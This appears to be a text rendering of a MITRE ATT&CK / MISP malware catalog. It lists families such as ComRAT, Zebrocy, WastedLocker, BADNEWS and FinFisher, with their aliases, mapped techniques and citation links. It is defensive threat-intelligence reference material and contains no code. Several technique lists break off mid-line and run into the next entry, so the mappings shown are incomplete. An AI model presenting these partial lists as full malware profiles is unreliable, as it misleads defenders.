- Backdoor.Remsec
- ProjectSauron

View relationships graph

Remsec - S0125 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="DNS - T1071.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Device Driver Discovery - T1652"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Local Account - T1087.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Password Filter DLL - T1556.002"` with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:malpedia="Remsec" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration over USB - T1052.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"


Table 6811. Table References
Zebrocy - S0251

[Zebrocy](https://attack.mitre.org/software/S0251) is a Trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007) since at least November 2015. The malware comes in several programming language variants, including C++, Delphi, AutoIt, C#, VB.NET, and Golang. (Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: CISA Zebrocy Oct 2020)

The tag is: *misp-galaxy:mitre-malware="Zebrocy - S0251"

Zebrocy - S0251 is also known as:

- Zebrocy
- Zekapab

View relationships graph

Zebrocy - S0251 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Logon Script (Windows) - T1037.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credential API Hooking - T1056.004" with estimative-
**ComRAT - S0126**

[ComRAT](https://attack.mitre.org/software/S0126) is a second stage implant suspected of being a descendant of [Agent.btz](https://attack.mitre.org/software/S0092) and used by [Turla](https://attack.mitre.org/groups/G0010). The first version of [ComRAT](https://attack.mitre.org/software/S0126) was identified in 2007, but the tool has undergone substantial development for many years since. (Citation: Symantec Waterbug) (Citation: NorthSec 2015 GData Uroburos Tools) (Citation: ESET ComRAT May 2020)

The tag is: `misp-galaxy:mitre-malware="ComRAT - S0126"`

ComRAT - S0126 is also known as:

- ComRAT

**View relationships graph**

ComRAT - S0126 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Embedded Payloads - T1027.009"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029"` with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
• similar: misp-galaxy:rat="ComRAT" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1546.015" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"
• similar: misp-galaxy:malpedia="Agent.BTZ" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:tool="Agent.BTZ" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Hidden File System - T1564.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 6813. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
POORAIM - S0216

[POORAIM](https://attack.mitre.org/software/S0216) is a backdoor used by [APT37] in campaigns since at least 2014. (Citation: FireEye APT37 Feb 2018)

The tag is: *misp-galaxy:mitre-malware="POORAIM - S0216"

POORAIM - S0216 is also known as:

- POORAIM

View relationships graph

POORAIM - S0216 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- similar: *misp-galaxy:tool="POORAIM" with estimative-language:likelihood-probability="likely"

Table 6814. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0216">https://attack.mitre.org/software/S0216</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf">https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf</a></td>
</tr>
</tbody>
</table>
**Catchamas - S0261**

Catchamas ([https://attack.mitre.org/software/S0261](https://attack.mitre.org/software/S0261)) is a Windows Trojan that steals information from compromised systems. (Citation: Symantec Catchamas April 2018)

The tag is: *misp-galaxy:mitre-malware="Catchamas - S0261"*

Catchamas - S0261 is also known as:

- Catchamas

View relationships graph

Catchamas - S0261 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

Table 6815. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0261">https://attack.mitre.org/software/S0261</a></td>
</tr>
</tbody>
</table>

**Komplex - S0162**

Komplex ([https://attack.mitre.org/software/S0162](https://attack.mitre.org/software/S0162)) is a backdoor that has been used by [APT28](https://attack.mitre.org/groups/G0007) on OS X and appears to be developed in a similar
manner to [XAgentOSX](https://attack.mitre.org/software/S0161) (Citation: XAgentOSX 2017) (Citation: Sofacy Komplex Trojan).

The tag is: *misp-galaxy:mitre-malware="Komplex - S0162"*

Komplex - S0162 is also known as:

- Komplex

View relationships graph

Komplex - S0162 has relationships with:

- similar: *misp-galaxy:tool="SOURFACE"* with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:tool="CORESHELL"* with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:tool="GAMEFISH"* with estimative-language:likelihood-probability="likely"
- uses: *misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001"* with estimative-language:likelihood-probability="almost-certain"
- similar: *misp-galaxy:malpedia="Komplex"* with estimative-language:likelihood-probability="likely"
- uses: *misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001"* with estimative-language:likelihood-probability="almost-certain"

Table 6816. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0162">https://attack.mitre.org/software/S0162</a></td>
</tr>
</tbody>
</table>

**WastedLocker - S0612**

[WastedLocker](https://attack.mitre.org/software/S0612) is a ransomware family attributed to
[Indrik Spider](https://attack.mitre.org/groups/G0119) that has been used since at least May 2020. [WastedLocker](https://attack.mitre.org/software/S0612) has been used against a broad variety of sectors, including manufacturing, information technology, and media.(Citation: Symantec WastedLocker June 2020)(Citation: NCC Group WastedLocker June 2020)(Citation: Sentinel Labs WastedLocker July 2020)

The tag is: `misp-galaxy:mitre-malware="WastedLocker - S0612"`

WastedLocker - S0612 is also known as:

- WastedLocker

View relationships graph

WastedLocker - S0612 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="System Checks - T1497.001"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486"` with `estimative-language:likelihood-probability="almost-certain"`
• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 6817. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0612">https://attack.mitre.org/software/S0612</a></td>
</tr>
<tr>
<td><a href="https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us">https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us</a></td>
</tr>
</tbody>
</table>

**Mongall - S1026**

[Mongall](https://attack.mitre.org/software/S1026) is a backdoor that has been used since at least 2013, including by [Aoqin Dragon](https://attack.mitre.org/groups/G1007). ([Citation: SentinelOne Aoqin Dragon June 2022](https://attack.mitre.org/software/S1026))

The tag is: *misp-galaxy:mitre-malware="Mongall - S1026"*

Mongall - S1026 is also known as:

- Mongall

View relationships graph

Mongall - S1026 has relationships with:


• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 6818. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1026">https://attack.mitre.org/software/S1026</a></td>
</tr>
<tr>
<td><a href="https://www.sentinelone.com/labs/aogui-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/">https://www.sentinelone.com/labs/aogui-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/</a></td>
</tr>
</tbody>
</table>

**BBSRAT - S0127**

[BBSRAT](https://attack.mitre.org/software/S0127) is malware with remote access tool functionality that has been used in targeted compromises. (Citation: Palo Alto Networks BBSRAT)

The tag is: `misp-galaxy:mitre-malware="BBSRAT - S0127"`

BBSRAT - S0127 is also known as:

- BBSRAT

View relationships graph

BBSRAT - S0127 has relationships with:
• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1546.015" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:malpedia="BBSRAT" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 6819. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0127">https://attack.mitre.org/software/S0127</a></td>
</tr>
</tbody>
</table>

**KEYMARBLE - S0271**

[KEYMARBLE](https://attack.mitre.org/software/S0271) is a Trojan that has reportedly been used by the North Korean government. (Citation: US-CERT KEYMARBLE Aug 2018)
The tag is: misp-galaxy:mitre-malware="KEYMARBLE - S0271"

KEYMARBLE - S0271 is also known as:

- KEYMARBLE

View relationships graph

KEYMARBLE - S0271 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6820. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0271">https://attack.mitre.org/software/S0271</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/analysis-reports/AR18-221A">https://www.us-cert.gov/ncas/analysis-reports/AR18-221A</a></td>
</tr>
</tbody>
</table>

SHUTTERSPEED - S0217

[SHUTTERSPEED](https://attack.mitre.org/software/S0217) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)

The tag is: misp-galaxy:mitre-malware="SHUTTERSPEED - S0217"

View relationships graph
SHUTTERSPEED - S0217 has relationships with:

- similar: misp-galaxy:tool="SHUTTERSPEED" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6821. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0217">https://attack.mitre.org/software/S0217</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf">https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf</a></td>
</tr>
</tbody>
</table>

Reaver - S0172

[Reaver](https://attack.mitre.org/software/S0172) is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the "Five Poisons," which are movements the Chinese government considers dangerous. The type of malware is rare due to its final payload being in the form of [Control Panel](https://attack.mitre.org/techniques/T1218/002) items.(Citation: Palo Alto Reaver Nov 2017)

The tag is: misp-galaxy:mitre-malware="Reaver - S0172"

Reaver - S0172 is also known as:

- Reaver

View relationships graph

Reaver - S0172 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Control Panel - T1218.002" with estimative-
BADNEWS - S0128

[BADNEWS](https://attack.mitre.org/software/S0128) is malware that has been used by the actors responsible for the [Patchwork](https://attack.mitre.org/groups/G0040) campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control. (Citation: Forcepoint Monsoon) (Citation: TrendMicro Patchwork Dec 2017)

The tag is: `misp-galaxy:mitre-malware="BADNEWS - S0128"`

BADNEWS - S0128 is also known as:

- BADNEWS

View relationships graph

BADNEWS - S0128 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Invalid Code Signature - T1036.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-
SLOWDRIFT - S0218

[SLOWDRIFT]([https://attack.mitre.org/software/S0218](https://attack.mitre.org/software/S0218)) is a backdoor used by [APT37]([https://attack.mitre.org/groups/G0067](https://attack.mitre.org/groups/G0067)) against academic and strategic victims in South Korea. (Citation: FireEye APT37 Feb 2018)

The tag is: `misp-galaxy:mitre-malware="SLOWDRIFT - S0218"`

SLOWDRIFT - S0218 is also known as:

- SLOWDRIFT

View relationships graph

SLOWDRIFT - S0218 has relationships with:


- similar: `misp-galaxy:tool="SLOWDRIFT"` with estimative-language:likelihood-probability="likely"

- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"
Dok - S0281

[Dok](https://attack.mitre.org/software/S0281) is a Trojan application disguised as a .zip file that is able to collect user credentials and install a malicious proxy server to redirect a user's network traffic (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)).

The tag is: `misp-galaxy:mitre-malware="Dok - S0281"`

Dok - S0281 is also known as:

- Dok
- Retefe

View relationships graph

Dok - S0281 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Sudo and Sudo Caching - T1548.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Login Items - T1547.015"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001"` with estimative-language:likelihood-probability="almost-certain"

Table 6825. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**FinFisher - S0182**

[FinFisher](https://attack.mitre.org/software/S0182) is a government-grade commercial surveillance spyware reportedly sold exclusively to government agencies for use in targeted and lawful criminal investigations. It is heavily obfuscated and uses multiple anti-analysis techniques. It has other variants including [Wingbird](https://attack.mitre.org/software/S0176). (Citation: FinFisher Citation) (Citation: Microsoft SIR Vol 21) (Citation: FireEye FinSpy Sept 2017) (Citation: Securelist BlackOasis Oct 2017) (Citation: Microsoft FinFisher March 2018)

The tag is: `misp-galaxy:mitre-malware="FinFisher - S0182"`

FinFisher - S0182 is also known as:

- FinFisher
- FinSpy

**View relationships graph**

FinFisher - S0182 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Bootkit - T1542.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="System Checks - T1497.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1404"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

